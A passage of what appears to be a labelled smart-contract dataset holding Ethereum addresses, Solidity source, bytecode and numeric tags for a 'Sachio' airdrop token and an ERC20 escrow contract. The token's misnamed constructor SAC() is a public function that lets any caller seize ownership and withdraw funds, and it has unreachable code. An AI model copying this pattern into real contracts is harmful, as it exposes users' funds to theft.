d47610ffb565b505b505b610fbc83838361125e565b505050565b60008184841115610fe55760405162461bcd60e51b815260040161044291906118f2565b506000610ff28486611a41565b95945050505050565b600d546040516001600160a01b039091169082156108fc029083906000818181858888f1935050505015801561092c573d6000803e3d6000fd5b600060075482111561109c5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610442565b60006110a6611269565b90506110b2838261128c565b9392505050565b600f805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061110f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152600e54604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561116357600080fd5b505afa158015611177573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061119b91906116ef565b816001815181106111bc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b039283166020918202929092010152600e546111e29130911684610ba6565b600e5460405163791ac94760e01b81526001600160a01b039091169063791ac9479061121b90859060009086903090429060040161197a565b600060405180830381600087803b15801561123557600080fd5b505af1158015611249573d6000803e3d6000fd5b5050600f805460ff60a81b1916905550505050565b610fbc8383836112ce565b60008060006112766113c5565b9092509050611285828261128c565b9250505090565b60006110b283836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611405565b6000806000806000806112e087611433565b6001600160a01b038f16600090815260026020526040902054959b509399509197509550935091506113129087611490565b6001600160a01b03808b1660009081526002602052604080822093909355908a168152205461134190866114d2565b6001600160a01b03891660009081526002602052604090205561136381611531565b61136d848361157b565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516113b291815260200190565b60405180910390a3505050505050505050565b6007546000908190670de0b6b3a76400006113e0828261128c565b8210156113fc57505060075492670de0b6b3a764000092509050565b90939092509050565b600081836114265760405162461bcd60e51b815260040161044291906118f2565b506000610ff28486611a02565b60008060008060008060008060006114508a600954600a5461159f565b9250925092506000611460611269565b905060008060006114738e8787876115f4565b919e509c509a509598509396509194505050505091939550919395565b60006110b283836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610fc1565b6000806114df83856119ea565b9050838110156110b25760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610442565b600061153b611269565b905060006115498383611644565b3060009081526002602052604090205490915061156690826114d2565b30600090815260026020526040902055505050565b6007546115889083611490565b60075560085461159890826114d2565b6008555050565b60008080806115b960646115b38989611644565b9061128c565b905060006115cc60646115b38a89611644565b905060006115e4826115de8b86611490565b90611490565b9992985090965090945050505050565b60008080806116038886611644565b905060006116118887611644565b9050600061161f8888611644565b90506000611631826115de8686611490565b939b939a50919850919650505050505050565b6000826116535750600061047a565b600061165f8385611a22565b90508261166c8583611a02565b146110b25760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610442565b80356116ce81611a9f565b919050565b6000602082840312156116e4578081fd5b81356110b281611a9f565b600060208284031215611700578081fd5b81516110b281611a9f565b6000806040838503121561171d578081fd5b823561172881611a9f565b9150602083013561173881611a9f565b809150509250929050565b600080600060608486031215611757578081fd5b833561176281611a9f565b9250602084013561177281611a9f565b929592945050506040919091013590565b60008060408385031215611795578182fd5b82356117a081611a9f565b946020939093013593505050565b600060208083850312156117c0578182fd5b823567ffffffffffffffff808211156117d7578384fd5b818501915085601f8301126117ea578384fd5b8135818111156117fc576117fc611a89565b8060051b604051601f19603f8301168101818110858211171561182157611821611a89565b604052828152858101935084860182860187018a101561183f578788fd5b8795505b8386101561186857611854816116c3565b855260019590950194938601938601611843565b5098975050505050505050565b600060208284031215611886578081fd5b81356110b281611ab4565b6000602082840312156118a2578081fd5b81516110b281611ab4565b6000602082840312156118be578081fd5b5035919050565b6000806000606084860312156118d9578283fd5b8351925060208401519150604084015190509250925092565b6000602080835283518082850152825b8181101561191e57858101830151858201604001528201611902565b8181111561192f5783604083870101525b50601f01601f1916929092016040019392505050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b600060a082018783526020878185015260a0604085015281875180845260c0860191508289019350845b818110156119c95784516001600160a01b0316835293830193918301916001016119a4565b50506001600160a01b03969096166060850152505050608001529392505050565b600082198211156119fd576119fd611a73565b500190565b600082611a1d57634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a3c57611a3c611a73565b500290565b600082821015611a5357611a53611a73565b500390565b6000600019821415611a6c57611a6c611a73565b5060010190565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146104bf57600080fd5b80151581146104bf57600080fdfe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122047059bbdaee4097f4f300eb88f90b3c4fcf5ded4f6fd4ce1192676db124fa79164736f6c63430008040033 | [
13,
5
] |
0xf34839b310097fcb4cf3a302dda8cc9b57501083 | pragma solidity ^0.4.22;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract ForeignToken {
function balanceOf(address _owner) constant public returns (uint256);
function transfer(address _to, uint256 _value) public returns (bool);
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface Token {
function distr(address _to, uint256 _value) external returns (bool);
function totalSupply() constant external returns (uint256 supply);
function balanceOf(address _owner) constant external returns (uint256 balance);
}
contract SACO is ERC20 {
using SafeMath for uint256;
address owner = msg.sender;
mapping (address => uint256) balances;
mapping (address => mapping (address => uint256)) allowed;
mapping (address => bool) public blacklist;
string public constant name = "Sachio";
string public constant symbol = "SCH";
uint public constant decimals = 18;
uint256 public totalSupply = 2700000000e18;
uint256 public totalDistributed = 500000000e18;
uint256 public totalRemaining = totalSupply.sub(totalDistributed);
uint256 public value = 7000e18;
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
event Distr(address indexed to, uint256 amount);
event DistrFinished();
event Burn(address indexed burner, uint256 value);
bool public distributionFinished = false;
modifier canDistr() {
require(!distributionFinished);
_;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
modifier onlyWhitelist() {
require(blacklist[msg.sender] == false);
_;
}
function SAC() public {
owner = msg.sender;
balances[owner] = totalDistributed;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
function finishDistribution() onlyOwner canDistr public returns (bool) {
distributionFinished = true;
emit DistrFinished();
return true;
}
function distr(address _to, uint256 _amount) canDistr private returns (bool) {
totalDistributed = totalDistributed.add(_amount);
totalRemaining = totalRemaining.sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Distr(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
}
function () external payable {
getTokens();
}
function getTokens() payable canDistr onlyWhitelist public {
if (value > totalRemaining) {
value = totalRemaining;
}
require(value <= totalRemaining);
address investor = msg.sender;
uint256 toGive = value;
distr(investor, toGive);
if (toGive > 0) {
blacklist[investor] = true;
}
if (totalDistributed >= totalSupply) {
distributionFinished = true;
}
value = value.div(100000).mul(99999);
}
function balanceOf(address _owner) constant public returns (uint256) {
return balances[_owner];
}
modifier onlyPayloadSize(uint size) {
assert(msg.data.length >= size + 4);
_;
}
function transfer(address _to, uint256 _amount) onlyPayloadSize(2 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(msg.sender, _to, _amount);
return true;
}
function transferFrom(address _from, address _to, uint256 _amount) onlyPayloadSize(3 * 32) public returns (bool success) {
require(_to != address(0));
require(_amount <= balances[_from]);
require(_amount <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
emit Transfer(_from, _to, _amount);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool success) {
if (_value != 0 && allowed[msg.sender][_spender] != 0) { return false; }
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant public returns (uint256) {
return allowed[_owner][_spender];
}
function getTokenBalance(address tokenAddress, address who) constant public returns (uint){
ForeignToken t = ForeignToken(tokenAddress);
uint bal = t.balanceOf(who);
return bal;
}
function withdraw() onlyOwner public {
uint256 etherBalance = address(this).balance;
owner.transfer(etherBalance);
}
function burn(uint256 _value) onlyOwner public {
require(_value <= balances[msg.sender]);
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply = totalSupply.sub(_value);
totalDistributed = totalDistributed.sub(_value);
emit Burn(burner, _value);
}
function withdrawForeignTokens(address _tokenContract) onlyOwner public returns (bool) {
ForeignToken token = ForeignToken(_tokenContract);
uint256 amount = token.balanceOf(address(this));
return token.transfer(owner, amount);
}
} | 0x6080604052600436106101275763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610131578063095ea7b3146101bb57806318160ddd146101f357806323b872dd1461021a578063313ce567146102445780633ccfd60b146102595780633fa4f2451461026e57806342966c68146102835780634e028c671461029b57806370a08231146102b057806395d89b41146102d15780639b1cbccc146102e6578063a9059cbb146102fb578063aa6ca80814610127578063c108d5421461031f578063c489744b14610334578063d8a543601461035b578063dd62ed3e14610370578063e58fc54c14610397578063efca2eed146103b8578063f2fde38b146103cd578063f9f92be4146103ee575b61012f61040f565b005b34801561013d57600080fd5b506101466104ef565b6040805160208082528351818301528351919283929083019185019080838360005b83811015610180578181015183820152602001610168565b50505050905090810190601f1680156101ad5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156101c757600080fd5b506101df600160a060020a0360043516602435610526565b604080519115158252519081900360200190f35b3480156101ff57600080fd5b506102086105ce565b60408051918252519081900360200190f35b34801561022657600080fd5b506101df600160a060020a03600435811690602435166044356105d4565b34801561025057600080fd5b50610208610759565b34801561026557600080fd5b5061012f61075e565b34801561027a57600080fd5b506102086107b8565b34801561028f57600080fd5b5061012f6004356107be565b3480156102a757600080fd5b5061012f61089d565b3480156102bc57600080fd5b50610208600160a060020a03600435166108de565b3480156102dd57600080fd5b506101466108f9565b3480156102f257600080fd5b506101df610930565b34801561030757600080fd5b506101df600160a060020a0360043516602435610996565b34801561032b57600080fd5b506101df610a87565b34801561034057600080fd5b50610208600160a060020a0360043581169060243516610a90565b34801561036757600080fd5b50610208610b41565b34801561037c57600080fd5b50610208600160a060020a0360043581169060243516610b47565b3480156103a357600080fd5b506101df600160a060020a0360043516610b72565b3480156103c457600080fd5b50610208610cc6565b3480156103d957600080fd5b5061012f600160a060020a0360043516610ccc565b3480156103fa57600080fd5b506101df600160a060020a0360043516610d1e565b600954600090819060ff161561042457600080fd5b3360009081526004602052604090205460ff161561044157600080fd5b6007546008541115610454576007546008555b600754600854111561046557600080fd5b505060085433906104768282610d33565b5060008111156104a457600160a060020a0382166000908152600460205260409020805460ff191660011790555b600554600654106104bd576009805460ff191660011790555b6104e86201869f6104dc620186a0600854610e3690919063ffffffff16565b9063ffffffff610e4d16565b6008555050565b60408051808201909152600681527f53616368696f0000000000000000000000000000000000000000000000000000602082015281565b600081158015906105595750336000908152600360209081526040808320600160a060020a038716845290915290205415155b15610566575060006105c8565b336000818152600360209081526040808320600160a060020a03881680855290835292819020869055805186815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060015b92915050565b60055481565b6000606060643610156105e357fe5b600160a060020a03841615156105f857600080fd5b600160a060020a03851660009081526002602052604090205483111561061d57600080fd5b600160a060020a038516600090815260036020908152604080832033845290915290205483111561064d57600080fd5b600160a060020a038516600090815260026020526040902054610676908463ffffffff610e7816565b600160a060020a03861660009081526002602090815260408083209390935560038152828220338352905220546106b3908463ffffffff610e7816565b600160a060020a0380871660009081526003602090815260408083203384528252808320949094559187168152600290915220546106f7908463ffffffff610e8a16565b600160a060020a0380861660008181526002602090815260409182902094909455805187815290519193928916927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef92918290030190a3506001949350505050565b601281565b600154600090600160a060020a0316331461077857600080fd5b50600154604051303191600160a060020a03169082156108fc029083906000818181858888f193505050501580156107b4573d6000803e3d6000fd5b5050565b60085481565b600154600090600160a060020a031633146107d857600080fd5b336000908152600260205260409020548211156107f457600080fd5b5033600081815260026020526040902054610815908363ffffffff610e7816565b600160a060020a038216600090815260026020526040902055600554610841908363ffffffff610e7816565b600555600654610857908363ffffffff610e7816565b600655604080518381529051600160a060020a038316917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25050565b6001805473ffffffffffffffffffffffffffffffffffffffff1916331790819055600654600160a060020a0391909116600090815260026020526040902055565b600160a060020a031660009081526002602052604090205490565b60408051808201909152600381527f5343480000000000000000000000000000000000000000000000000000000000602082015281565b600154600090600160a060020a0316331461094a57600080fd5b60095460ff161561095a57600080fd5b6009805460ff191660011790556040517f7f95d919e78bdebe8a285e6e33357c2fcb65ccf66e72d7573f9f8f6caad0c4cc90600090a150600190565b6000604060443610156109a557fe5b600160a060020a03841615156109ba57600080fd5b336000908152600260205260409020548311156109d657600080fd5b336000908152600260205260409020546109f6908463ffffffff610e7816565b3360009081526002602052604080822092909255600160a060020a03861681522054610a28908463ffffffff610e8a16565b600160a060020a0385166000818152600260209081526040918290209390935580518681529051919233927fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9281900390910190a35060019392505050565b60095460ff1681565b600080600084915081600160a060020a03166370a08231856040518263ffffffff167c01000000000000000000000000000000000000000000000000000000000281526004018082600160a060020a0316600160a060020a03168152602001915050602060405180830381600087803b158015610b0c57600080fd5b505af1158015610b20573d6000803e3d6000fd5b505050506040513d6020811015610b3657600080fd5b505195945050505050565b60075481565b600160a060020a03918216600090815260036020908152604080832093909416825291909152205490565b60015460009081908190600160a060020a03163314610b9057600080fd5b604080517f70a082310000000000000000000000000000000000000000000000000000000081523060048201529051859350600160a060020a038416916370a082319160248083019260209291908290030181600087803b158015610bf457600080fd5b505af1158015610c08573d6000803e3d6000fd5b505050506040513d6020811015610c1e57600080fd5b5051600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a0392831660048201526024810184905290519293509084169163a9059cbb916044808201926020929091908290030181600087803b158015610c9257600080fd5b505af1158015610ca6573d6000803e3d6000fd5b505050506040513d6020811015610cbc57600080fd5b5051949350505050565b60065481565b600154600160a060020a03163314610ce357600080fd5b600160a060020a03811615610d1b576001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0383161790555b50565b60046020526000908152604090205460ff1681565b60095460009060ff1615610d4657600080fd5b600654610d59908363ffffffff610e8a16565b600655600754610d6f908363ffffffff610e7816565b600755600160a060020a038316600090815260026020526040902054610d9b908363ffffffff610e8a16565b600160a060020a038416600081815260026020908152604091829020939093558051858152905191927f8940c4b8e215f8822c5c8f0056c12652c746cbc57eedbd2a440b175971d47a7792918290030190a2604080518381529051600160a060020a038516916000917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9181900360200190a35060016105c8565b6000808284811515610e4457fe5b04949350505050565b6000828202831580610e695750828482811515610e6657fe5b04145b1515610e7157fe5b9392505050565b600082821115610e8457fe5b50900390565b600082820183811015610e7157fe00a165627a7a723058207fa33c4c356fc779f33cea50f7475921e7485eedd1546428dbbc93f5af1fe3730029 | [
14,
4
] |
0xF34899A297645f0226c85bBDb188cB41921cCD8F | /**
*Submitted for verification at Etherscan.io on 2020-10-23
*/
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/LiquidityAUSCMEscrow.sol
pragma solidity 0.5.16;
contract xDAILiquidityAUSCMEscrow {
using SafeERC20 for IERC20;
address public token;
address public governance;
modifier onlyGov() {
require(msg.sender == governance, "only gov");
_;
}
constructor () public {
governance = msg.sender;
}
function approve(address token, address to, uint256 amount) public onlyGov {
IERC20(token).safeApprove(to, 0);
IERC20(token).safeApprove(to, amount);
}
function transfer(address token, address to, uint256 amount) public onlyGov {
IERC20(token).safeTransfer(to, amount);
}
function setGovernance(address account) external onlyGov {
governance = account;
}
} | 0x608060405234801561001057600080fd5b50600436106100575760003560e01c80635aa6e6751461005c578063ab033ea9146100a6578063beabacc8146100ea578063e1f21c6714610158578063fc0c546a146101c6575b600080fd5b610064610210565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b6100e8600480360360208110156100bc57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050610236565b005b6101566004803603606081101561010057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061033d565b005b6101c46004803603606081101561016e57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610430565b005b6101ce61054f565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146102f9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6f6e6c7920676f7600000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610400576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6f6e6c7920676f7600000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61042b82828573ffffffffffffffffffffffffffffffffffffffff166105749092919063ffffffff16565b505050565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146104f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260088152602001807f6f6e6c7920676f7600000000000000000000000000000000000000000000000081525060200191505060405180910390fd5b61051f8260008573ffffffffffffffffff